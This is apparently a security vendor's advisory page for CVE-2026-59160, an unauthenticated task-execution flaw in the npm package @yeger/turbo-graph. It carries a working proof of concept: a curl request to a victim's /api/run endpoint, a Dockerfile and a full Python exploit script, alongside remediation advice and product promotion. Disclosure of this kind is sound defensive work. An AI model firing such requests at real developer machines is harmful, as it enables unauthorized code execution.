CVE-2026-59160

CVE-2026-59160 is a high-severity missing authentication for critical function vulnerability in @yeger/turbo-graph (npm), affecting versions <= 2.8.8. It is fixed in 2.8.12.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run

Unauthenticated Network-Exposed Turborepo Task Execution via /api/run

@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.

Details

Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:

Flaw 1, Server bound to all interfaces (not loopback)

packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.

// packages/turbo-graph/src/index.ts
19    const hostname = 'localhost'  // used only for console URL, not for listen()
...
44        .listen(options.port, () => {   // hostname argument missing → 0.0.0.0 bind
45          const url = `http://${hostname}:${options.port}`

Flaw 2, Unauthenticated /api/run task execution endpoint

packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.

// packages/turbo-graph-ui/app/api/run/route.ts
156  export function GET(req: NextRequest) {
157    const url = new URL(req.url)
159    const tasksParam = url.searchParams.getAll('tasks')   // attacker-controlled source
171    const filter = url.searchParams.get('filter') ?? undefined
176    return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs, packages/turbo-graph-ui/app/api/run/route.ts
20    const args: string[] = ['run', ...tasks]              // tasks inserted directly
25          args.push(`--filter=${trimmed}`)
31      args.push('--force')
34    const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
                                                            // ^ sink: arbitrary task execution

Because spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.

PoC

Environment setup (victim machine):

mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON'
{
  "private": true,
  "scripts": {
    "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\""
  },
  "devDependencies": {
    "@yeger/turbo-graph": "2.8.8",
    "turbo": "^2.0.0"
  }
}
JSON

cat > turbo.json <<'JSON'
{
  "tasks": {
    "pwn": { "cache": false }
  }
}
JSON

npm install
npx turbo-graph --port 29312

Verify the server is bound to all interfaces (Flaw 1):

ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312  (0.0.0.0, not 127.0.0.1)

Attack request (from any host on the same network segment):

# Replace <victim-ip> with the victim machine's LAN IP address.
curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"

Expected outcome:

  • The server returns HTTP 200 with a text/event-stream response.
  • An SSE start event is received with args: ["run", "pwn", "--ui=stream", "--force"], confirming that the unauthenticated request was accepted.
  • The file /tmp/turbo-graph-poc is created on the victim machine with content owned, proving arbitrary task execution.

Containerized reproduction (automated):

The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:

docker build -t vuln-001-poc <vuln-001-dir>
docker run --rm vuln-001-poc

The container confirmed all three evidence points during Phase 2 dynamic testing:

  1. ss -tlnp sport=:29312LISTEN 0 511 *:29312 (all-interface binding confirmed)
  2. GET /api/run?tasks=pwn&force=true → HTTP 200, SSE start event with args: ["run","pwn","--ui=stream","--force"] (no token required)
  3. /tmp/poc-proof.txt created with content PWNED:<timestamp> (arbitrary task execution confirmed)

Reproduction artifacts

Dockerfile

# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/[email protected])
#
# Layout:
#   /victim/          - simulated developer workspace that runs turbo-graph
#   /victim/pwn.js    - the task payload executed when the attacker fires /api/run
#   /poc.py           - attacker script: sends unauthenticated GET /api/run?tasks=pwn
#
# Build:
#   docker build -t vuln-001-poc <vuln-001-dir>
#
# Run:
#   docker run --rm vuln-001-poc

FROM node:20-slim

# System tools:
#   python3    - runs poc.py
#   iproute2   - ss(8) for socket-binding introspection (evidence collection)
RUN apt-get update && \
    apt-get install -y --no-install-recommends python3 iproute2 && \
    rm -rf /var/lib/apt/lists/*

# ---------------------------------------------------------------------------
# Victim workspace: a minimal Turborepo project that a developer might run
# ---------------------------------------------------------------------------
WORKDIR /victim

# package.json: defines the 'pwn' task script and package dependencies.
# @yeger/[email protected] is the vulnerable package (from DerYeger/yeger).
# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.
RUN echo '{"private":true,"name":"victim-project","packageManager":"[email protected]","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \
    > /victim/package.json

# turbo.json: declares the 'pwn' task with caching disabled so it always runs.
RUN echo '{"tasks":{"pwn":{"cache":false}}}' \
    > /victim/turbo.json

# pwn.js: task payload, writes a timestamped proof file and logs to stdout.
# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.
RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \
    > /victim/pwn.js

# Install packages from the declarations in package.json.
# --legacy-peer-deps avoids strict peer-dep resolution failures.
# The published @yeger/[email protected] tarball ships a pre-built
# .next/ directory, so no separate 'next build' step is required.
RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5

# ---------------------------------------------------------------------------
# Attacker PoC script
# ---------------------------------------------------------------------------
COPY poc.py /poc.py

# Default: execute the PoC (start server, fire unauthenticated request, verify)
CMD ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution
Package:  @yeger/[email protected]
CWE:      CWE-306 (Missing Authentication for Critical Function)
CVSS:     8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Two independent flaws combine into the vulnerability:
  1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a
     hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).
  2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler
     has zero authentication; attacker-supplied ?tasks= values are passed
     directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).

Attack scenario reproduced here:
  - Victim runs `turbo-graph` from a project with a side-effecting task.
  - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.
  - The server executes `turbo run pwn` in the victim's project directory.
  - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.
"""

import os
import socket
import subprocess
import sys
import time
import urllib.error
import urllib.request

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
PROOF_FILE = "/tmp/poc-proof.txt"
PORT = 29312
VICTIM_DIR = "/victim"
TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph")
SERVER_STARTUP_TIMEOUT = 120   # seconds; Next.js production startup can be slow
REQUEST_TIMEOUT = 90            # seconds to wait for the SSE stream to finish


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def wait_for_port(host: str, port: int, timeout: int) -> bool:
    """Poll until the TCP port accepts connections or timeout expires."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection((host, port), timeout=2):
                return True
        except (ConnectionRefusedError, OSError):
            time.sleep(1)
    return False


def get_socket_binding(port: int) -> str:
    """Return the raw 'ss' output for the listening socket on *port*."""
    try:
        result = subprocess.run(
            ["ss", "-tlnp", f"sport = :{port}"],
            capture_output=True,
            text=True,
            timeout=5,
        )
        return result.stdout.strip()
    except Exception as exc:
        return f"(ss unavailable: {exc})"


def binding_is_all_interfaces(ss_output: str) -> bool:
    """Return True when the socket is listening on all interfaces."""
    return any(
        marker in ss_output
        for marker in ("0.0.0.0", "*:", "[::]", ":::")
    )


def read_sse_stream(url: str, timeout: int) -> list:
    """
    Open *url* as a Server-Sent Events stream and return parsed events.
    Each event is a dict with keys 'type' and optionally 'data'.
    Stops when an 'end' event is received or *timeout* seconds elapse.
    """
    events = []
    try:
        req = urllib.request.Request(
            url,
            headers={
                "Accept": "text/event-stream",
                "Cache-Control": "no-cache",
                "Connection": "keep-alive",
            },
        )
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            print(f"  [HTTP] {resp.status} {resp.reason}")
            print(f"  [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")
            buf = ""
            deadline = time.time() + timeout
            while time.time() < deadline:
                chunk = resp.read(4096)
                if not chunk:
                    break
                buf += chunk.decode("utf-8", errors="replace")
                # Parse complete SSE blocks (separated by blank lines)
                while "\n\n" in buf:
                    block, buf = buf.split("\n\n", 1)
                    ev: dict = {}
                    for line in block.strip().split("\n"):
                        if line.startswith("event: "):
                            ev["type"] = line[7:]
                        elif line.startswith("data: "):
                            ev["data"] = line[6:]
                        # ignore SSE comments (':') and 'retry:' lines
                    if ev.get("type"):
                        events.append(ev)
                        preview = ev.get("data", "")[:120]
                        print(f"  [SSE]  event={ev['type']}  data={preview}")
                        if ev["type"] == "end":
                            return events
    except urllib.error.HTTPError as exc:
        print(f"  [!] HTTP error: {exc.code} {exc.reason}")
    except Exception as exc:
        print(f"  [!] Stream error: {type(exc).__name__}: {exc}")
    return events


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------

def main() -> int:
    sep = "=" * 64
    print(sep)
    print("VULN-001 PoC ,  Unauthenticated Turborepo Task Execution")
    print("Package : @yeger/[email protected]")
    print("CWE-306 : Missing Authentication for Critical Function")
    print(sep)
    print()

    # Remove stale proof file from a previous run
    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)

    # ------------------------------------------------------------------
    # Step 1: Start turbo-graph server from the victim project directory
    # The CLI does NOT pass a hostname to .listen(), so Node.js binds to
    # 0.0.0.0 (all interfaces), see index.ts:44.
    # ------------------------------------------------------------------
    print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...")
    server = subprocess.Popen(
        [TURBO_GRAPH_BIN, "--port", str(PORT)],
        cwd=VICTIM_DIR,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )

    # ------------------------------------------------------------------
    # Step 2: Wait for the port to become available
    # ------------------------------------------------------------------
    print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...")
    ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT)
    if not ready:
        server.kill()
        stdout, _ = server.communicate()
        print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.")
        print(f"    stdout/stderr:\n{stdout[:2000]}")
        return 1
    print(f"[+] Server is accepting connections on port {PORT}.")

    # ------------------------------------------------------------------
    # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)
    # Flaw 1: .listen(port) without hostname → network-exposed.
    # ------------------------------------------------------------------
    ss_output = get_socket_binding(PORT)
    print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):")
    print(f"    {ss_output}")
    if binding_is_all_interfaces(ss_output):
        print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")
    else:
        print(f"[?] Could not confirm all-interface binding; proceeding with request test.")

    # ------------------------------------------------------------------
    # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request
    # Flaw 2: no authentication, authorisation, CSRF check, or task
    #         allowlist, see route.ts:156-177.
    # ------------------------------------------------------------------
    url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"
    print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):")
    print(f"    GET {url}")
    sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)

    # Allow a moment for any buffered I/O in the child process to flush
    time.sleep(3)

    # ------------------------------------------------------------------
    # Step 5: Evaluate exploitation results
    # ------------------------------------------------------------------
    exploited = os.path.exists(PROOF_FILE)
    proof_content = open(PROOF_FILE).read().strip() if exploited else ""

    start_event = next((e for e in sse_events if e.get("type") == "start"), None)
    end_event   = next((e for e in sse_events if e.get("type") == "end"),   None)
    log_events  = [e for e in sse_events if e.get("type") in ("log", "stderr")]

    print()
    print(sep)
    print("EVIDENCE SUMMARY")
    print(sep)

    # Evidence A: socket binding
    if binding_is_all_interfaces(ss_output):
        print(f"[A] FLAW-1 , Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}")
    else:
        print(f"[A] FLAW-1 , ss output: {ss_output[:80]}")

    # Evidence B: unauthenticated SSE response
    if start_event:
        print(f"[B] FLAW-2 , Unauthenticated /api/run accepted; SSE start args:")
        print(f"              {start_event.get('data', '')}")
    else:
        received = [e.get("type") for e in sse_events]
        print(f"[B] FLAW-2 , SSE events received: {received}")

    # Evidence C: turbo task exit code
    if end_event:
        print(f"[C] TURBO  , turbo run exit code: {end_event.get('data', '')}")

    # Evidence D: proof file (arbitrary code execution)
    if exploited:
        print(f"[D] EXPLOIT, Proof file created: {PROOF_FILE}")
        print(f"              Content: {proof_content}")
    else:
        print(f"[D] EXPLOIT, Proof file NOT created: {PROOF_FILE}")
        if log_events:
            print(f"    Task stdout/stderr (first 5 lines):")
            for ev in log_events[:5]:
                print(f"      [{ev['type']}] {ev.get('data', '')}")

    print(sep)

    # Clean up
    server.kill()
    server.wait(timeout=10)

    if exploited:
        print("\n[RESULT] PASS, Exploitation reproduced. Proof file written by unauthenticated request.")
        return 0
    else:
        print("\n[RESULT] FAIL, Proof file not created. See evidence above for diagnostics.")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running turbo-graph can execute arbitrary Turborepo tasks defined in that developer's repository.

Depending on the tasks configured in the victim's turbo.json, the impact includes:

  • Confidentiality (High): Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.
  • Integrity (High): Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure.
  • Availability (High): Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.

The attack requires no credentials, no prior access, and no interaction from the victim beyond having turbo-graph running. The default port (29312) is static and predictable, making targeted network scanning straightforward. All users who run npx turbo-graph or install @yeger/[email protected] in a shared or corporate network environment are affected.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-59160 has a CVSS score of 8.8 (High). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.12); upgrading removes the vulnerable code path.

Affected versions

@yeger/turbo-graph (<= 2.8.8)

Security releases

@yeger/turbo-graph → 2.8.12 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @yeger/turbo-graph to 2.8.12 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-59160? CVE-2026-59160 is a high-severity missing authentication for critical function vulnerability in @yeger/turbo-graph (npm), affecting versions <= 2.8.8. It is fixed in 2.8.12. A critical operation is accessible without requiring any authentication.
  2. How severe is CVE-2026-59160? CVE-2026-59160 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @yeger/turbo-graph are affected by CVE-2026-59160? @yeger/turbo-graph (npm) versions <= 2.8.8 is affected.
  4. Is there a fix for CVE-2026-59160? Yes. CVE-2026-59160 is fixed in 2.8.12. Upgrade to this version or later.
  5. Is CVE-2026-59160 exploitable, and should I be worried? Whether CVE-2026-59160 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-59160 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-59160? Upgrade @yeger/turbo-graph to 2.8.12 or later.

Stop the waste.
Protect your environment with Kodem.